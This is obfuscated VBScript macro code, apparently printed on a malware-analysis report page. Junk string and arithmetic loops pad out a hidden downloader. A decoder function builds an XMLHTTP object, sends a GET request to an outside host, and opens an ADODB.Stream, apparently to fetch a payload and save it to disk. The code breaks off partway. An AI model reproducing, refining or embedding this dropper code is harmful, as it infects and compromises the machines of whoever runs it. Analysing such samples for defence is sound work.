    AYKcdixmjq = 1823 + 123 + 1823
    For qRNFOU = 0 To 5
        oKqIOID = Left("SiPcGulhu%CN", 2)
        UzdlR = 365 + 1677 + 1116
        vDEWWYGIScWX = RTrim("OvPu!PytLpU^U")
        oKqIOID = UCase("E]%^?iVIabTfoM")
        cxHAomB = 1546 + 483 + 1581
        vDEWWYGIScWX = RTrim("SLNvQqIMzRUPmA")
        yJFACBiyiBGl = Left("!DpOg@oyPq", 4)
        oEwoNs = Left("?CERzZKKnU", 4)
        yJFACBiyiBGl = LTrim("XLcw BAlK%hDcXaOYF")
        UzdlR = UCase("lB yqE)%DTrh]rDePQ")
    Next qRNFOU

    For AcnHko = 0 To 2
        For eVxMey = 0 To 8
            ANQYynBAc = LTrim("rNAbae.WnESFXpB")
            UfofBZoZ = Left("jDQ.!]^?S#BuT@*H%er^", 3)
            oKqIOID = 1677 - 566 - 1681
            TDjuJcZdF = Left("Y.N]&LUpZ)qeyJJW", 2)
            ANQYynBAc = Right("HjMFBU@L_WWi!#Di!_T", 3)
            vDEWWYGIScWX = UCase("hH#m$k_*.Hj")
            MNdPRNH = RTrim("IWkrFv*JdB?mx^?GRk")
            yJFACBiyiBGl = UCase("?xncBhDyGuNg#")
        Next eVxMey

        AYKcdixmjq = StrReverse("JcIlGfN gXd)T-f")
        vDEWWYGIScWX = StrReverse("$W_uGUaC*N?qlx")
        ANQYynBAc = Space(1)
    Next AcnHko

    UfofBZoZ = LTrim("zvZRoz)Icrm")
    For BQexMs = 0 To 5
        QOHhorocv = UCase("z_n%RVD%u#.")
        cxHAomB = UCase("toBKGdToMHI[A-?l")
    Next BQexMs

    oKqIOID = Right("ZjeWaHGQK!*MW", 5)
    While mPFSdt < 4
        TDjuJcZdF = Space(4)
        LCmtxOQqWN = LTrim("b!P[oDnNVRYtEa--@zXi")
        UzdlR = 1154 - 1741 - 1497
        oEwoNs = StrReverse("xVKqLXkXTitPtzxrV")
        LCmtxOQqWN = "?Z(!!)@u?dFoaw" + "v-%RB-w[KJ*NL" + "oYWr[_#@d]jZ"
        UfofBZoZ = LTrim("lfA)TwF**Po^D")
        mPFSdt = mPFSdt + 2
    Wend

    yJFACBiyiBGl = RTrim("zYRYY_.G]Er.g")
    yJFACBiyiBGl = Right("Tin#UmGf?V&h^XV", 3)
    yJFACBiyiBGl = RTrim("^X.ZYIWLise$Xi")
    QOHhorocv = Right("fZO%]DNy!(hoou", 4)
    UfofBZoZ = Space(13)
    QOHhorocv = 566 - 342 - 1227
    vDEWWYGIScWX = Space(13)
    okErAlaV = StrReverse("snyINql*r&yA$-.S(")
    oEwoNs = UCase("gnBEaytIKl)Q")
    While tldAPr < 2
        TDjuJcZdF = StrReverse("L(UMGx(pqOCUm")
        UzdlR = 199 - 1108 - 1234
        MNdPRNH = UCase("YRK[O@JsClclnLvepR ")
        TDjuJcZdF = UCase("b[w!^ehicy!$nB")
        LCmtxOQqWN = 125 + 1974 + 1915
        AYKcdixmjq = Left("mdQwjV sLKC", 5)
        TDjuJcZdF = LTrim("i!fxamje]XqwMgNy")
        AYKcdixmjq = RTrim("#[QTQG$*of")
        LCmtxOQqWN = "gb&K_vQdUfA@k_" + "CZ-PLW]irCXlq" + "lMWSn--VyB%S$"
        tldAPr = tldAPr + 3
    Wend

    cxHAomB = LTrim("eSjnB^HeP.$pr")
    ANQYynBAc = Right("QNqokqBAK&qNgY%w)_r", 4)
    vDEWWYGIScWX = RTrim("D[@z )W_Hw.xCQSM_xv")
    DVStT = 632 + 1920 + 1191
    vDEWWYGIScWX = Space(10)
    TDjuJcZdF = LTrim("FLmQEpLidLQ&sF]RXCU")
    UfofBZoZ = Right(".#RiDWMTzzr!MKZ", 3)
    MNdPRNH = LTrim("#aTTW@uOYmEf")
    AYKcdixmjq = LTrim("oe@.d-#q#kW@cl")
    For RvnKVh = 0 To 7
        yJFACBiyiBGl = LTrim("!n(*tnfxF]B")
        ANQYynBAc = 914 + 1859 + 1399
        LCmtxOQqWN = 739 - 1944 - 1360
        yJFACBiyiBGl = Space(20)
        yJFACBiyiBGl = StrReverse("mZ)j-PiD-QJi$&qlSb")
        UfofBZoZ = Space(6)
        yJFACBiyiBGl = LTrim("[Augu_ [GYl")
        DVStT = Space(17)
        oEwoNs = 126 - 174 - 974
    Next RvnKVh

    oKqIOID = Right("(irX%t)bZA", 5)
    While wSQgJa < 3
        For SgsFrk = 0 To 8
            ANQYynBAc = UCase("ih@YGU?FbQUTBnb ")
            oEwoNs = "Ie@%h-!yAdYzj#BDr" + "fTGhECXp!JFGc%$?nl" + "mOsmIQdo(E"
            oKqIOID = StrReverse("Y%#w($n?Ak.pAouh@]d")
            MNdPRNH = Space(20)
            ANQYynBAc = RTrim("(%QbrWzQeF&.tt")
            AYKcdixmjq = "#]&JLqyEWJ^I$HnPU*" + "Py?*fm$AjMFSu#" + "z#aoTNA)QaMI_yk"
            AYKcdixmjq = Space(14)
            oKqIOID = UCase("PFRwV%]c(!PBWYBrjaXD")
            UfofBZoZ = LTrim("uPY%cYemqXffvbA?KeAh")
        Next SgsFrk

        oKqIOID = "mkPUiin#yInyyXiuE" + "q]V)LJXwLa" + "qe@%v*a&m)vFX]n^"
        MNdPRNH = 1976 - 1877 - 1946
        MNdPRNH = Left("xhebouR[is!vcr$b(QmS", 5)
        oEwoNs = 865 + 1039 + 1662
        DVStT = Space(14)
        MNdPRNH = Left("TCeNp_otX- *PSZ!HE#T", 5)
        wSQgJa = wSQgJa + 1
    Wend

    While oYuYVi < 5
        For crVPTu = 0 To 5
            TDjuJcZdF = UCase("twruC]w[xTzYNfVTwJI$")
            TDjuJcZdF = UCase("&B$[_M[-?#Y !ZZW*F^")
            oEwoNs = LTrim("LpWYtQaZCB")
            vDEWWYGIScWX = UCase("mhpYhAtbE_lL)Kw")
            okErAlaV = LTrim("mUqamoq?V-rfdRnW*OW")
            UfofBZoZ = UCase("@NjHWM#uPO")
        Next crVPTu

        MNdPRNH = 1315 + 990 + 213
        MNdPRNH = RTrim("lB%&pcBgax]Xpgn(Wy&T")
        cxHAomB = RTrim("bpGV-gmobJ^GiTNMM")
        oYuYVi = oYuYVi + 3
    Wend

    okErAlaV = "i!dH!HH$on_G" + "brDCsn(?-$E-" + "SD.oeZtDVxVzZXP"
    For HyTbzy = 0 To 6
        okErAlaV = 948 + 1702 + 658
        oEwoNs = Left("*yYCj[ejhRpMw&v", 3)
        vDEWWYGIScWX = Left("hRQ-VnAR)m.ZHyfg](Mr", 2)
    Next HyTbzy

    Set dZKmWzh = CreateObject("" & "" & lVKIAFK("MUi$cdr_opsuoXf^tm.[XvMtLKHPT&TuPu") & "" & "")
    UzdlR = "evbVjYnm AFrqKz?$ _" + "#u lmBRR^?J_Wh*DKf" + "JT-[ZjB#.LjfDTrOC"
    DVStT = Left("rVzEj@zBoyUPM$Mj!%", 4)
    MNdPRNH = StrReverse("^FlLgO]gh@U")
    oKqIOID = LTrim("&H(BC%&kiU#gka#")
    For rDoftE = 0 To 10
        oKqIOID = "NUFEbyNoarkl$" + "dW%q@.[x$?DrBz" + "_jHjCJl?@vq(#&auk!"
        oKqIOID = 1273 + 1264 + 1410
        UzdlR = LTrim("s%IvBveUANp%")
    Next rDoftE

    ANQYynBAc = Left("UQD(N-i#gEEWF_Y(J!", 5)
    okErAlaV = 1117 + 362 + 1476
    oKqIOID = Right("#q d[g(fZE", 3)
    DVStT = 1951 - 1765 - 280
    QOHhorocv = StrReverse("I HaavhCSoPtOE")
    cxHAomB = Right("Ugack%w*bD&BK", 4)
    For LLfWmD = 0 To 4
        For mhpkCO = 0 To 5
            cxHAomB = UCase("I#xo]Y@PyqVkul#h")
            cxHAomB = "[c^RS()$xso*jdk" + "sujDY*VvIPklySON" + "&diYrXcFwT"
        Next mhpkCO

        QOHhorocv = RTrim("A!@@DQXRIy.srWg")
        UfofBZoZ = LTrim(")cHU^Ni&ogyme?LS")
        cxHAomB = StrReverse("Sk&uIFVQHTBTg*")
        MNdPRNH = RTrim("?hmU_ J JttReIQWGM")
        AYKcdixmjq = Space(19)
    Next LLfWmD

    LCmtxOQqWN = Right("Ag*]OdhTxTEXVrh", 3)
    vDEWWYGIScWX = Space(19)
    DVStT = RTrim("*RrtqVt_i) V ke")
    While QEzFFy < 1
        While buldnQ < 4
            oKqIOID = LTrim("h)i.&So^BZc%E")
            oEwoNs = "qkAxF]yJwp OlS" + "hS.uLstX?eUfbeon*WE" + "kwHo%@jphUNn"
            buldnQ = buldnQ + 2
        Wend

        LCmtxOQqWN = Left("C?KkpgQqsx(qa%nSo[Q", 2)
        TDjuJcZdF = StrReverse("T-HmuHSlq!D!G")
        oEwoNs = RTrim("GZX]q%-[vF")
        yJFACBiyiBGl = UCase("*YmoxFzoBmx(r")
        oEwoNs = UCase("h*$fuT*sr&vR@$")
        QEzFFy = QEzFFy + 3
    Wend

    DVStT = UCase("gitcyd #S%]VVfX?")
    vDEWWYGIScWX = 1402 + 1766 + 426
    vDEWWYGIScWX = 1062 + 1342 + 504
    While caOzWf < 2
        For lNHfwA = 0 To 5
            TDjuJcZdF = StrReverse("^YysFZCf[o.GVZF*l")
            AYKcdixmjq = UCase("?LvL[q&RLD")
            UfofBZoZ = StrReverse("S^zZWgXRGZ.y")
            UzdlR = StrReverse("Zr*YzszoFhWTkw")
            okErAlaV = Left("VP?_UOdG$uQ", 3)
        Next lNHfwA

        oKqIOID = Right("g^^ZGA[HOfP&v*ez", 3)
        oEwoNs = 1175 - 890 - 1616
        cxHAomB = LTrim("llYhdUhY*G")
        DVStT = Left("yYeeZDwdrc#X*vRWTBaw", 5)
        caOzWf = caOzWf + 1
    Wend

    ANQYynBAc = StrReverse("ADaue*eNbeXg^")
    UfofBZoZ = RTrim("r!H[dhBIk&sd@J-]!Nva")
    dZKmWzh.Open lVKIAFK("GIE Tp"), lVKIAFK("hCtBt[pc:e/^/BpWoxwmeBrqiMn-gciynBfelpuIe.nfcpeN.[ciofmJ/yPIrco-t!eecmtweNdZ"), False
    cxHAomB = Left("QJuDG^f*x[RI-GpbU", 3)
    oEwoNs = LTrim("G tryTLBt.r")
    UfofBZoZ = UCase("U.LgtsNvNP%H]X-")
    TDjuJcZdF = UCase(")zN.xvelI_lVE W[x")
    okErAlaV = LTrim("(Xb-LpEyYW?v")
    oKqIOID = Space(6)
    UfofBZoZ = Right("vbxUJ  RuCsYwzSy(", 2)
    For RkrwaE = 0 To 5
        oEwoNs = Right("?CkjozKFrOtokhGm^ER", 4)
        AYKcdixmjq = StrReverse("IBE*[lJE?Fx")
        oEwoNs = Right("GT%quMcvjHKGSC^Kod?", 4)
        UzdlR = StrReverse("WJ-@sJrCJst%q")
    Next RkrwaE

    For GwHNSa = 0 To 6
        oEwoNs = RTrim("IZZDUMz]-.")
        okErAlaV = UCase("sMUQUDT FYE.d")
        MNdPRNH = Right("M.Em]LryWJz&.Y)&*-_o", 4)
        oEwoNs = 290 + 391 + 520
        UzdlR = UCase("eFvdySodmMHGe")
        AYKcdixmjq = Space(15)
        AYKcdixmjq = StrReverse("hn(RG[t-Cy")
    Next GwHNSa

    UzdlR = Right("soAQ#cGtuTV", 2)
    vDEWWYGIScWX = UCase("BozqSd*wt(zK")
    For OdyDQZ = 0 To 9
        yJFACBiyiBGl = LTrim(" ad?VsGU.w&[fMY_XFd#")
        QOHhorocv = "Z@Yk&kYOjHAY)s_e-)" + "f$l]tl#Kmwg[ZCu" + "YX-]r.MPG?CNmnxwTf"
        cxHAomB = "CNP-EC#Dp$%hI" + "#np[lMva#(*MjkvJ" + "LYPUZUj[OZ[g[oxneh?"
        UfofBZoZ = 185 - 1825 - 1585
        QOHhorocv = StrReverse("as&ZQITzs(?lHI")
        QOHhorocv = Right("MDnGksSaqyBP^s", 2)
        AYKcdixmjq = RTrim("p&#XJphNe*P")
    Next OdyDQZ

    For JCdSZK = 0 To 6
        UfofBZoZ = 277 + 1162 + 103
        yJFACBiyiBGl = Left("!Li#vG?$omt[G(iKNtp", 5)
    Next JCdSZK

    ANQYynBAc = LTrim("-^XnJ)yC@pP")
    UzdlR = LTrim("u[&[kGob&@rKi[")
    cxHAomB = 1937 - 1075 - 1385
    vDEWWYGIScWX = StrReverse("k%-Wasx%]^)CMqC")
    QOHhorocv = 1824 - 598 - 1606
    TDjuJcZdF = StrReverse("LrnvtiOT^G._glNc&P")
    MNdPRNH = RTrim("EKmwrOH]GJFdj]??^?@")
    yJFACBiyiBGl = LTrim(")]WN]KHq alfIP_]")
    cxHAomB = UCase("ObXcasb%[d?*!]")
    vDEWWYGIScWX = LTrim("V-i_CPqRmqXSB")
    QOHhorocv = StrReverse("sZ.c[S%MpC^z")
    MNdPRNH = Space(6)
    dZKmWzh.send
    AYKcdixmjq = StrReverse("rHeXKzY* l]HmNh!-k")
    cxHAomB = Space(15)
    oEwoNs = Space(6)
    While gwipjf < 5
        For XPQnyN = 0 To 10
            QOHhorocv = Space(13)
            oEwoNs = LTrim("o_k-je&DZt.oc&")
        Next XPQnyN

        LCmtxOQqWN = "ff)Wa.D*n[" + "]QI^ndw%Ee-cwlbADnE^" + "VOHLJN.CBJvDUVG)?HX"
        AYKcdixmjq = StrReverse("P$R&XMEy.C]D)us")
        cxHAomB = "ftFNweU!l!jfSkDZD" + "ZAnt*)I$dxT&-#" + ")#M^*$D%H[GeMMvw@^F"
        LCmtxOQqWN = LTrim("E[abIsGblZVBMiRfDQh.")
        LCmtxOQqWN = Left("$]IuubAZ&#y", 4)
        vDEWWYGIScWX = 1856 - 1373 - 249
        UzdlR = StrReverse("V%BKVD]oYm@hkLxV]%")
        oKqIOID = UCase("eN(OT&ohnS")
        vDEWWYGIScWX = StrReverse("Mn^!uO@MMMP^#&$V[")
        gwipjf = gwipjf + 3
    Wend

    MNdPRNH = 1143 - 1788 - 1734
    oEwoNs = UCase("MGSWuUOI^ f")
    For vRQNkr = 0 To 6
        vDEWWYGIScWX = RTrim("xJ*#NbUvsvS ")
        okErAlaV = "ctA*Jpt]^Wa" + "OQftDwCubNb^%" + "Wmkg-EkQzf"
        cxHAomB = LTrim("Bjkx DkH?ZjylhFV)#zp")
        oEwoNs = LTrim("W#IAkX(j?Hl[")
        oKqIOID = LTrim("SU*^UdkZ XUbqobQ!k")
        DVStT = StrReverse("zi._X(.z$EChpvv")
        UzdlR = Right("&A^VHEJjoOpuNPy)Zus", 5)
        UfofBZoZ = "a)AWrlSp#!KSY*DKR" + "UTBEHDc LcCBd" + "y!wISWLbrY"
        vDEWWYGIScWX = Space(7)
    Next vRQNkr

    While jfVfUh < 5
        For flPejd = 0 To 5
            UzdlR = LTrim("vaK-yBGXqaREC")
            oKqIOID = Right("$@sn)auTMyHMR_g", 3)
        Next flPejd

        oEwoNs = Left("z&kQeviq-nlh", 5)
        okErAlaV = RTrim("bgg^NQME]a]")
        vDEWWYGIScWX = Right("-WiSqjt(_*TN!", 4)
        LCmtxOQqWN = Space(17)
        yJFACBiyiBGl = StrReverse("O$$[ ?CXl]*z@WtxRl")
        DVStT = Left("tf%&Nday(yIt", 3)
        vDEWWYGIScWX = Left("aZy GTz]qS&", 5)
        LCmtxOQqWN = LTrim("&-g%h@genN$SMDK")
        jfVfUh = jfVfUh + 1
    Wend

    UzdlR = StrReverse("zrWO_F?zhniUi")
    MNdPRNH = UCase("LbDu!.CyIQ]L[-")
    oEwoNs = Left("n^Dm DfKO.^hs", 3)
    UfofBZoZ = RTrim("%fFpTdVWoEwWPbx&% Uw")
    QOHhorocv = Left("Ky]U-qYx.arkF&QZ", 3)
    QOHhorocv = RTrim("ZCHIX*OhnMtuQB")
    MNdPRNH = Right("a^p^rp_dPEMhM", 4)
    oEwoNs = UCase("BXLrOCD?-Jr[ ay!ssv")
    LCmtxOQqWN = RTrim("_Ci%fwFdE!&YbE")
    AYKcdixmjq = Left("FRQSIEcOV*q?d?G[$-x", 3)
    cxHAomB = "-jokK[ lZ@M%PhbCNlB" + "MwxeMbdDfsWco%" + "*llkNPmk[ORXXub$"
    yJFACBiyiBGl = RTrim("jwU]#^^eG*U")
    ANQYynBAc = LTrim("MGd#-Iewu[_")
    cxHAomB = StrReverse("qY)$ylfeDp$Gfe.D")
    LCmtxOQqWN = 1244 + 1985 + 1284
    oKqIOID = UCase("*%IU)tOnLu[@s$$")
    MNdPRNH = Right("n$!ntWyaIQ)u@K?)F", 3)
    vDEWWYGIScWX = 1096 - 1792 - 890
    yJFACBiyiBGl = "v*NEycEijtH n.Vb" + "RyI^MCwYjx?hGPBf" + ").mox &nL-R!jy@VU"
    DVStT = Left(")ql@Ge#yd!JgzL", 3)
    LCmtxOQqWN = 641 - 947 - 211
    AYKcdixmjq = RTrim(")hff^(&)D^aC.yk$i")
    okErAlaV = StrReverse("WCT(ogDR#WC")
    oEwoNs = StrReverse("I&Sf#TVB@To@Jjv. hG")
    oKqIOID = Space(6)
    For yZJQYa = 0 To 5
        UzdlR = UCase("m^[udAT_-b$pbbdA")
        cxHAomB = Right("n eZRIks^PVT%V", 2)
        LCmtxOQqWN = Space(13)
        DVStT = UCase("HgsXf%j$Kw[#)")
        UzdlR = 953 + 741 + 1405
        TDjuJcZdF = Space(10)
        MNdPRNH = UCase("E*eBhp*_Tcm&s-qj!&h")
        UzdlR = 1181 - 310 - 567
        LCmtxOQqWN = "WTM Y-LypsoCUfsGiT" + "OPu%?N_Z*ah" + "DDL#C-@.qiRThh"
    Next yZJQYa

    Set xzucbOs = CreateObject("" & "" & lVKIAFK("AIDNOtD%BN.SS]t_rCeAaEmY") & "" & "")
    oEwoNs = LTrim("D*EO?Uzu_Vr")
    oKqIOID = LTrim("Mfb^qMRGJ$#I")
    oKqIOID = StrReverse("*&[(z[*?mOlHYal")
    While pRsdhh < 2
        For SZrgwH = 0 To 5
            vDEWWYGIScWX = 925 + 631 + 1335
            TDjuJcZdF = 1177 - 1162 - 493
            cxHAomB = 982 + 101 + 844
            AYKcdixmjq = UCase("zj]&hWh)Jv$.RxZn")
            vDEWWYGIScWX = Left("kOHIT*)w![%@", 3)
            LCmtxOQqWN = 781 + 1185 + 1606
        Next SZrgwH

        LCmtxOQqWN = 194 - 1875 - 1302
        MNdPRNH = "DVQ%[W]o.VZO" + "iuSIzQqWopbcFbnJz" + "h#KNA)]D*%.ALXy@ml"
        oKqIOID = RTrim("KZ@nyJCk?UGYl ")
        UzdlR = LTrim("!YlSmRhWhtsZz]zG")
        pRsdhh = pRsdhh + 3
    Wend

    vDEWWYGIScWX = UCase("_l%lK(AwQnOw@ZJn[")
    ANQYynBAc = StrReverse("Di@wOOYNq*kiDb")
    ANQYynBAc = ")YnTlm?ktf" + "!z[ZbQVcjIwv!l" + "wmdHh!fmufw"
    While FrEwqQ < 2
        While vLMrsX < 4
            QOHhorocv = StrReverse("MX)P]s#H*c_")
            oKqIOID = 1422 - 600 - 924
            MNdPRNH = 1529 - 111 - 308
            AYKcdixmjq = Right("SRd& E&jU[FGcc", 4)
            oKqIOID = Left("dyqWcmC)C.h*c", 2)
            MNdPRNH = Space(5)
            QOHhorocv = Left("H#vynr@^vTaI", 3)
            yJFACBiyiBGl = UCase("Eu_NfKKcS)WuMO@@r%G")
            TDjuJcZdF = Left("PALcg]E*V ob", 5)
            vLMrsX = vLMrsX + 3
        Wend

        ANQYynBAc = RTrim("QHqHDuy%!vfVb$FKYb")
        DVStT = "JZa(!).YCvBUnnRljU" + "eCKmW%dhN[N a" + "!dqwIRWCQw"
        okErAlaV = UCase("ecFfD aKqs&M)Jzc(")
        AYKcdixmjq = RTrim("ReS*?NTZ-T-@crp#lTO")
        okErAlaV = "?%iLTYag]CdAap)" + "B%$-Bk]zyC" + "vbUNvAt@#?^at]wC!Oo^"
        FrEwqQ = FrEwqQ + 1
    Wend

    For zyoUhO = 0 To 4
        While NKZFnq < 2
            MNdPRNH = StrReverse("Cb]xawd?Qp")
            vDEWWYGIScWX = "$!sYldliEunNJT.K" + "POy ?[C#EcZegP" + "g*LfI!]daaKOhr-yeyY"
            AYKcdixmjq = 1732 + 292 + 320
            okErAlaV = 1544 + 1759 + 1208
            UfofBZoZ = LTrim("DWkVzfGbCHtySRwn(")
            vDEWWYGIScWX = "oyPm!%P%b@K hYvDjWB" + "y&g*Y&EeytES%cBV#HRl" + "VkzXp@#[&tZG?^&"
            NKZFnq = NKZFnq + 1
        Wend

        oKqIOID = 705 + 1357 + 1263
        MNdPRNH = UCase("AcMHla IDOVW!#C")
        ANQYynBAc = Space(12)
        QOHhorocv = Right("ZY?e_!eYm.lKuXS", 5)
        MNdPRNH = StrReverse("yCmC#BXs(li")
        AYKcdixmjq = StrReverse("$rd?d@i% _")
        vDEWWYGIScWX = UCase("@T.GyKM%KKW")
        ANQYynBAc = ")iImn*W^jWf" + "jm(WWu@fml@%%j_CJd" + "WqKU($.H).uS"
    Next zyoUhO

    oEwoNs = 1913 + 1310 + 1901
    MNdPRNH = 1576 - 1141 - 658
    vDEWWYGIScWX = LTrim("o%*eV(cI%JwqWt#wN%y")
    AYKcdixmjq = UCase("O%WVCZpGeOpGen.xwY!c")
    TDjuJcZdF = LTrim("DqZyrh(oHI]F-ZvJ")
    DVStT = StrReverse("k zQb&DQhl)")
    UfofBZoZ = RTrim("F%R[fXJUgLB$f?c")
    While baBuuh < 2
        cxHAomB = 1584 - 1838 - 665
        UzdlR = LTrim("KKm]GF&uqi%*?_AXHB")
        DVStT = Right("lQ_F*kJu&N!*@AtZ*", 3)
        yJFACBiyiBGl = RTrim("BgjgQPbq%oUfdWJ K")
        QOHhorocv = LTrim("?ZQ..WIYDzd.@%vyZUkt")
        LCmtxOQqWN = Right("RVAEIVSPk_)MYXT q*", 2)
        okErAlaV = LTrim("O@zbTh-nAowmarlMbJ?")
        baBuuh = baBuuh + 2
    Wend

    oEwoNs = "-b(XRBNTbS*#J#[Y?" + "xSP[PJ u%APaZWf" + "INxQ#DB%nAtm$o.u%d"
    yJFACBiyiBGl = Left("WYK]R&ekY?UZ-eM", 2)
    ANQYynBAc = Space(5)
    While GkXRvm < 2
        For lujmev = 0 To 7
            vDEWWYGIScWX = StrReverse("yVcEbLM)mY r(EcJHFGX")
            TDjuJcZdF = StrReverse("DHS_!&mWJCrqf??neluF")
            vDEWWYGIScWX = LTrim("tM%*u_mu.N(%")
            QOHhorocv = Space(3)
            TDjuJcZdF = Right("DekT(hX[xlV&J-RP", 2)
            UzdlR = UCase("cHlu LPDm]JnhUq")
            LCmtxOQqWN = StrReverse("f#YEpgvj@hQQ")
            ANQYynBAc = 1018 - 1942 - 478
            yJFACBiyiBGl = "[hwco%VNs!N?NP" + "gTExr-n]GwD" + "[LXsZ#-UkkaR!#D"
        Next lujmev

        oKqIOID = 1263 + 1569 + 152
        QOHhorocv = UCase("InhrHag)eNa@A")
        oKqIOID = 1440 - 1526 - 1519
        GkXRvm = GkXRvm + 1
    Wend

    vDEWWYGIScWX = StrReverse("u%F.miNc.(")
    While OrcjLd < 2
        While wsiAoi < 3
            vDEWWYGIScWX = Space(16)
            UzdlR = 129 + 1611 + 1323
            oEwoNs = RTrim("_DV&_lhrCpv#uhj")
            UfofBZoZ = RTrim("qP$pY_ZVpP-bw")
            UzdlR = 1191 + 1616 + 799
            oEwoNs = RTrim("gm%.@XtmiFf.i")
            wsiAoi = wsiAoi + 1
        Wend

        oEwoNs = Space(20)
        oEwoNs = UCase(" .-x?t[zNuDPu-")
        AYKcdixmjq = Space(11)
        oEwoNs = RTrim("pZUQ[FC$VOdrfp")
        vDEWWYGIScWX = 1742 + 1774 + 422
        OrcjLd = OrcjLd + 1
    Wend

    While MfoJSa < 3
        okErAlaV = RTrim("rZmvPnETPcQzQ")
        UzdlR = Left("oS&uCSOCkh-gu@f", 4)
        MfoJSa = MfoJSa + 2
    Wend

    okErAlaV = UCase("NpuKR#L^MxVP(MYxX")
    While MTUAzo < 1
        DVStT = StrReverse("cft)Q^vdk gSCJo ")
        oKqIOID = 1542 + 357 + 514
        UzdlR = Left("w?nA).pGhz jzQk", 2)
…

Open this report in the interactive analyzer, or submit your own file for analysis.